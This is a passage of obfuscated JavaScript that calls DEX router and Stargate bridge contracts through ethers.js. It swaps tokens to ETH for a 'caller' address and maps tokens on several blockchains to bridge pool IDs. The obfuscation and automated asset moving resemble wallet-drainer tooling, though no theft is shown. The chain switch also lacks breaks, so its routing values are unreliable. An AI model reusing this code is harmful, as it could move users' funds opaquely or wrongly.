internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETHSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x201075 = new ethers.Contract(_0x2b7b1b, _0x5d5a06, _0x9d9505); | |
let _0x3c3d4d = await _0x201075.WETH(); | |
let _0x521d95 = []; | |
_0x521d95[0] = _0x4f37a4.asset.token; | |
_0x521d95[1] = _0x3c3d4d; | |
return [_0x201075.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x521d95, this.caller, _0x1b1427), _0x3c3d4d]; | |
} | |
case "Stargate": | |
{ | |
let _0x5522e1 = _0x4f37a4.chain; | |
let _0x265843 = 101; | |
let _0x21c78b = 110; | |
let _0x389343 = 1; | |
let _0x212eb6 = 1; | |
console.log("checking path for stargate"); | |
switch (_0x5522e1) { | |
case "eth": | |
{ | |
_0x265843 = 101; | |
switch (_0x4f37a4.asset.token.toLowerCase()) { | |
case "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48": | |
{ | |
_0x389343 = 1; | |
_0x212eb6 = 1; | |
} | |
break; | |
case "0xdac17f958d2ee523a2206206994597c13d831ec7": | |
{ | |
_0x389343 = 2; | |
_0x212eb6 = 1; | |
} | |
break; | |
case "0x6b175474e89094c44da98b954eedeac495271d0f": | |
{ | |
_0x389343 = 3; | |
_0x212eb6 = 3; | |
_0x21c78b = 109; | |
} | |
break; | |
case "0x853d955acef822db058eb8505911ed77f175b99e": | |
{ | |
_0x389343 = 7; | |
_0x212eb6 = 7; | |
} | |
break; | |
case "0x57ab1ec28d129707052df4df418d58a2d46d5f51": | |
{ | |
_0x389343 = 14; | |
_0x212eb6 = 14; | |
_0x21c78b = 111; | |
} | |
break; | |
case "0x0c10bf8fcb7bf5412187a595ab97a3609160b5c6": | |
{ | |
_0x389343 = 11; | |
_0x212eb6 = 11; | |
_0x21c78b = 102; | |
} | |
break; | |
case "0x5f98805a4e8be255a32880fdec7f6728c6568ba0": | |
{ | |
_0x389343 = 15; | |
_0x212eb6 = 15; | |
} | |
break; | |
case "0x8d6cebd76f18e1558d4db88138e2defb3909fad6": | |
{ | |
_0x389343 = 16; | |
_0x212eb6 = 16; | |
} | |
break; | |
} | |
} | |
case "bsc": | |
{ | |
_0x265843 = 102; | |
switch (_0x4f37a4.asset.token.toLowerCase()) { | |
case "0x55d398326f99059ff775485246999027b3197955": | |
{ | |
_0x389343 = 2; | |
_0x212eb6 = 1; | |
} | |
break; | |
case "0xe9e7cea3dedca5984780bafc599bd69add087d56": | |
{ | |
_0x389343 = 5; | |
_0x212eb6 = 1; | |
} | |
break; | |
case "0xd17479997f34dd9156deef8f95a52d81d265be9c": | |
{ | |
_0x389343 = 11; | |
_0x212eb6 = 11; | |
_0x21c78b = 101; | |
} | |
break; | |
case "0x3f56e0c36d275367b8c502090edf38289b3dea0d": | |
{ | |
_0x389343 = 16; | |
_0x212eb6 = 16; | |
} | |
break; | |
} | |
} | |
case "avax": | |
{ | |
_0x265843 = 106; | |
switch (_0x4f37a4.asset.token.toLowerCase()) { | |
case "0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e": | |
{ | |
_0x389343 = 1; | |
_0x212eb6 = 1; | |
} | |
break; | |
case "0x9702230a8ea53601f5cd2dc00fdbc13d4df4a8c7": | |
{ | |
_0x389343 = 2; | |
_0x212eb6 = 1; | |
} | |
break; | |
case "0xd24c2ad096400b6fbcd2ad8b24e7acbc21a1da64": | |
{ | |
_0x389343 = 7; | |
_0x212eb6 = 7; | |
} | |
break; | |
case "0x5c49b268c9841aff1cc3b0a418ff5c3442ee3f3b": | |
{ | |
_0x389343 = 16; | |
_0x212eb6 = 16; | |
} | |
break; | |
} | |
} | |
case "matic": | |
{ | |
_0x265843 = 109; | |
switch (_0x4f37a4.asset.token.toLowerCase()) { | |
case "0x2791bca1f2de4661ed88a30c99a7a9449aa84174": | |
{ | |
_0x389343 = 1; | |
_0x212eb6 = 1; | |
} | |
break; | |
case "0xc2132d05d31c914a87c6611c10748aeb04b58e8f": | |
{ | |
_0x389343 = 2; | |
_0x212eb6 = 1; | |
} | |
break; | |
case "0x8f3cf7ad23cd3cadbd9735aff958023239c6a063": | |
{ | |
_0x389343 = 3; | |
_0x212eb6 = 3; | |
_0x21c78b = 111; | |
} | |
break; | |
case "0xa3fa99a148fa48d14ed51d610c367c61876997f1": | |
{ | |
_0x389343 = 16; | |
_0x212eb6 = 16; | |
} | |
break; | |
} | |
} | |
case "arb": | |
{ | |
_0x265843 = 110; | |
switch (_0x4f37a4.asset.token.toLowerCase()) { | |
case "0xff970a61a04b1ca14834a43f5de4533ebddb5cc8": | |
{ | |
_0x389343 = 1; | |
_0x212eb6 = 1; | |
_0x21c78b = 111; | |
} | |
break; | |
case "0xfd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb9": | |
{ | |
_0x389343 = 2; | |
_0x212eb6 = 1; | |
_0x21c78b = 111; | |
} | |
break; | |
case "0x17fc002b466eec40dae837fc4be5c67993ddbd6f": | |
{ | |
_0x389343 = 7; | |
_0x212eb6 = 7; | |
_0x21c78b = 111; | |
} | |
break; | |
case "0x93b346b6bc2548da6a1e7d98e9a421b42541425b": | |
{ | |
_0x389343 = 15; | |
_0x212eb6 = 15; | |
_0x21c78b = 111; | |
} | |
break; | |
case "0x3f56e0c36d275367b8c502090edf38289b3dea0d": | |
{ | |
_0x389343 = 16; | |
_0x212eb6 = 16; | |
_0x21c78b = 111; | |
} | |
break; | |
} | |
} | |
case "op": | |
{ | |
_0x265843 = 111; | |
switch (_0x4f37a4.asset.token.toLowerCase()) { | |
case "0x7f5c764cbc14f9669b88837ca1490cca17c31607": | |
{ | |
_0x389343 = 1; | |
_0x212eb6 = 1; | |
} | |
break; | |
case "0xda10009cbd5d07dd0cecc66161fc93d7c9000da1": | |
{ | |
_0x389343 = 3; | |
_0x212eb6 = 3; | |
_0x21c78b = 109; | |
} | |
break; | |
case "0x2e3d870790dc77a83dd1d18184acc7439a53f475": | |
{ | |
_0x389343 = 7; | |
_0x212eb6 = 7; | |
} | |
break; | |
case "0x8c6f28f2f1a3c87f0f938b96d27520d9751ec8d9": | |
{ | |
_0x389343 = 14; | |
_0x212eb6 = 14; | |
_0x21c78b = 101; | |
} | |
break; | |
case "0xc40f949f8a4e094d1b49a23ea9241d289b7b2819": | |
{ | |
_0x389343 = 15; | |
_0x212eb6 = 15; | |
} | |
break; | |
case "0xdfa46478f9e5ea86d57387849598dbfb2e964b02": | |
{ | |
_0x389343 = 16; | |
_0x212eb6 = 16; | |
} | |
break; | |
} | |
} | |
case "ftm": | |
{ | |
_0x265843 = 112; | |
switch (_0x4f37a4.asset.token.toLowerCase()) { | |
case "0x28a92dde19d9989f39a49905d7c9c2fac7799bdf": | |
{ | |
_0x389343 = 21; | |
_0x212eb6 = 1; | |
} | |
break; | |
} | |
} | |
case "base": | |
{ | |
_0x265843 = 184; | |
switch (_0x4f37a4.asset.token.toLowerCase()) { | |
case "0xd9aaec86b65d86f6a7b5b1b0c42ffa531710b6ca": | |
{ | |
_0x389343 = 1; | |
_0x212eb6 = 1; | |
} | |
break; | |
} | |
} | |
} | |
let _0x38c28f = [{ | |
inputs: [], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "uint16", | |
name: "chainId", | |
type: "uint16" | |
}, { | |
indexed: false, | |
internalType: "bytes", | |
name: "srcAddress", | |
type: "bytes" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amountLD", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bytes", | |
name: "payload", | |
type: "bytes" | |
}, { | |
indexed: false, | |
internalType: "bytes", | |
name: "reason", | |
type: "bytes" | |
}], | |
name: "CachedSwapSaved", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "previousOwner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "OwnershipTransferred", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "uint16", | |
name: "srcChainId", | |
type: "uint16" | |
}, { | |
indexed: true, | |
internalType: "bytes", | |
name: "srcAddress", | |
type: "bytes" | |
}, { | |
indexed: true, | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "srcPoolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "dstPoolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amountSD", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "mintAmountSD", | |
type: "uint256" | |
}], | |
name: "RedeemLocalCallback", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "uint8", | |
name: "bridgeFunctionType", | |
type: "uint8" | |
}, { | |
indexed: false, | |
internalType: "uint16", | |
name: "chainId", | |
type: "uint16" | |
}, { | |
indexed: false, | |
internalType: "bytes", | |
name: "srcAddress", | |
type: "bytes" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}], | |
name: "Revert", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "uint16", | |
name: "srcChainId", | |
type: "uint16" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "_srcPoolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "bytes", | |
name: "to", | |
type: "bytes" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "redeemAmountSD", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "mintAmountSD", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "bytes", | |
name: "srcAddress", | |
type: "bytes" | |
}], | |
name: "RevertRedeemLocal", | |
type: "event" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}], | |
name: "activateChainPath", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountLD", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}], | |
name: "addLiquidity", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "bridge", | |
outputs: [{ | |
internalType: "contract Bridge", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "", | |
type: "bytes" | |
}, { | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
name: "cachedSwapLookup", | |
outputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountLD", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "payload", | |
type: "bytes" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_fullMode", | |
type: "bool" | |
}], | |
name: "callDelta", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_srcChainId", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "_srcAddress", | |
type: "bytes" | |
}, { | |
internalType: "uint256", | |
name: "_nonce", | |
type: "uint256" | |
}], | |
name: "clearCachedSwap", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_weight", | |
type: "uint256" | |
}], | |
name: "createChainPath", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_token", | |
type: "address" | |
}, { | |
internalType: "uint8", | |
name: "_sharedDecimals", | |
type: "uint8" | |
}, { | |
internalType: "uint8", | |
name: "_localDecimals", | |
type: "uint8" | |
}, { | |
internalType: "string", | |
name: "_name", | |
type: "string" | |
}, { | |
internalType: "string", | |
name: "_symbol", | |
type: "string" | |
}], | |
name: "createPool", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_srcPoolId", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "credits", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "idealBalance", | |
type: "uint256" | |
}], | |
internalType: "struct Pool.CreditObj", | |
name: "_c", | |
type: "tuple" | |
}], | |
name: "creditChainPath", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "contract Factory", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_srcPoolId", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_amountLP", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}], | |
name: "instantRedeemLocal", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountSD", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "mintFeeOwner", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "owner", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "protocolFeeOwner", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "uint8", | |
name: "_functionType", | |
type: "uint8" | |
}, { | |
internalType: "bytes", | |
name: "_toAddress", | |
type: "bytes" | |
}, { | |
internalType: "bytes", | |
name: "_transferAndCallPayload", | |
type: "bytes" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "dstGasForCall", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "dstNativeAmount", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "dstNativeAddr", | |
type: "bytes" | |
}], | |
internalType: "struct IStargateRouter.lzTxObj", | |
name: "_lzTxParams", | |
type: "tuple" | |
}], | |
name: "quoteLayerZeroFee", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_srcPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "address payable", | |
name: "_refundAddress", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amountLP", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "_to", | |
type: "bytes" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "dstGasForCall", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "dstNativeAmount", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "dstNativeAddr", | |
type: "bytes" | |
}], | |
internalType: "struct IStargateRouter.lzTxObj", | |
name: "_lzTxParams", | |
type: "tuple" | |
}], | |
name: "redeemLocal", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_srcChainId", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "_srcAddress", | |
type: "bytes" | |
}, { | |
internalType: "uint256", | |
name: "_nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_srcPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amountSD", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_mintAmountSD", | |
type: "uint256" | |
}], | |
name: "redeemLocalCallback", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_srcChainId", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "_srcAddress", | |
type: "bytes" | |
}, { | |
internalType: "uint256", | |
name: "_nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_srcPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountSD", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "_to", | |
type: "bytes" | |
}], | |
name: "redeemLocalCheckOnRemote", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_srcPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "address payable", | |
name: "_refundAddress", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amountLP", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_minAmountLD", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "_to", | |
type: "bytes" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "dstGasForCall", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "dstNativeAmount", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "dstNativeAddr", | |
type: "bytes" | |
}], | |
internalType: "struct IStargateRouter.lzTxObj", | |
name: "_lzTxParams", | |
type: "tuple" | |
}], | |
name: "redeemRemote", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "renounceOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_srcChainId", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "_srcAddress", | |
type: "bytes" | |
}, { | |
internalType: "uint256", | |
name: "_nonce", | |
type: "uint256" | |
}], | |
name: "retryRevert", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "", | |
type: "bytes" | |
}, { | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
name: "revertLookup", | |
outputs: [{ | |
internalType: "bytes", | |
name: "", | |
type: "bytes" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "_srcAddress", | |
type: "bytes" | |
}, { | |
internalType: "uint256", | |
name: "_nonce", | |
type: "uint256" | |
}, { | |
internalType: "address payable", | |
name: "_refundAddress", | |
type: "address" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "dstGasForCall", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "dstNativeAmount", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "dstNativeAddr", | |
type: "bytes" | |
}], | |
internalType: "struct IStargateRouter.lzTxObj", | |
name: "_lzTxParams", | |
type: "tuple" | |
}], | |
name: "revertRedeemLocal", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_srcPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "address payable", | |
name: "_refundAddress", | |
type: "address" | |
}], | |
name: "sendCredits", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Bridge", | |
name: "_bridge", | |
type: "address" | |
}, { | |
internalType: "contract Factory", | |
name: "_factory", | |
type: "address" | |
}], | |
name: "setBridgeAndFactory", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_batched", | |
type: "bool" | |
}, { | |
internalType: "uint256", | |
name: "_swapDeltaBP", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_lpDeltaBP", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_defaultSwapMode", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "_defaultLPMode", | |
type: "bool" | |
}], | |
name: "setDeltaParam", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_feeLibraryAddr", | |
type: "address" | |
}], | |
name: "setFeeLibrary", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_mintFeeBP", | |
type: "uint256" | |
}], | |
name: "setFees", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_owner", | |
type: "address" | |
}], | |
name: "setMintFeeOwner", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_owner", | |
type: "address" | |
}], | |
name: "setProtocolFeeOwner", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_swapStop", | |
type: "bool" | |
}], | |
name: "setSwapStop", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint16", | |
name: "_weight", | |
type: "uint16" | |
}], | |
name: "setWeightForChainPath", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_dstChainId", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_srcPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "address payable", | |
name: "_refundAddress", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amountLD", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_minAmountLD", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "dstGasForCall", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "dstNativeAmount", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "dstNativeAddr", | |
type: "bytes" | |
}], | |
internalType: "struct IStargateRouter.lzTxObj", | |
name: "_lzTxParams", | |
type: "tuple" | |
}, { | |
internalType: "bytes", | |
name: "_to", | |
type: "bytes" | |
}, { | |
internalType: "bytes", | |
name: "_payload", | |
type: "bytes" | |
}], | |
name: "swap", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_srcChainId", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "_srcAddress", | |
type: "bytes" | |
}, { | |
internalType: "uint256", | |
name: "_nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_srcPoolId", | |
type: "uint256" | |
